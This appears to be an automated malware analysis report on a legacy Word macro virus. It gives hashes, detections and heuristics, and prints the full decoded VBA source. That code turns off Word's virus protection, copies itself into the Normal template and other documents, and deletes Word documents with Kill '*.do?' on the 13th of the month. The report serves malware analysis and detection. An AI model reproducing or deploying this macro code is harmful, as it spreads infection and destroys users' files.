Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3614f968740434ec…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-10-05 11:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5fe0c0053d3aff9813c286d2dda87b67 SHA-1: 8ad080e5024ec24a4a9185989c0a3f3e625f4b47 SHA-256: 3614f968740434ec4505d25dc3f1d7b8d616692b95a729f9eb00f64d5f28ab68
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and AutoClose routines, indicating an attempt to execute code upon opening and closing the document. The script attempts to copy its macro project into the current document, a template, and a DLL named 'Destrib.dll', suggesting a mechanism for propagation or payload delivery. The presence of legacy WordBasic markers and ClamAV detections further support its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Saver-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Saver-5
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1874 bytes
SHA-256: 78a5a8c268058088ca15e0dc5f8732e4ebc5e29a11cb0a7ccfe2e0c5f64dd00f
Detection
ClamAV: Doc.Trojan.Doccopy-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Destrib"
Sub Setup()
Attribute Setup.VB_Description = "MS - Маздай!"
  Word.Options.VirusProtection = False
  On Error Resume Next
  
  zz = Word.ActiveDocument.FullName
  
  Application.OrganizerCopy Source:=zz, _
      Destination:=Normal.ThisDocument.FullName, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=zz, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
  yy = Word.Application.Path + "\Destrib.dll"
  
  If (Dir(yy) = "") Then
    Application.Documents.Add
    Application.Documents(1).SaveAs (yy)
    Application.Documents(1).Close SaveChanges:=False
    Word.RecentFiles.Item(1).Delete
  End If
  
  
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=yy, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=zz, _
      Destination:=yy, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=yy, _
      Destination:=zz, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
End Sub

Sub AutoOpen()
Attribute AutoOpen.VB_Description = "MS - Маздай!"
  Setup
  If Word.ActiveDocument.Name = "Destrib.dll" Then Word.ActiveDocument.Close
End Sub

Sub AutoClose()
Attribute AutoClose.VB_Description = "MS - Маздай!"
  If Word.ActiveDocument.Name <> "Destrib.dll" Then
    On Error Resume Next
    If Day(Date) = 13 Then Kill "*.do?"
  End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.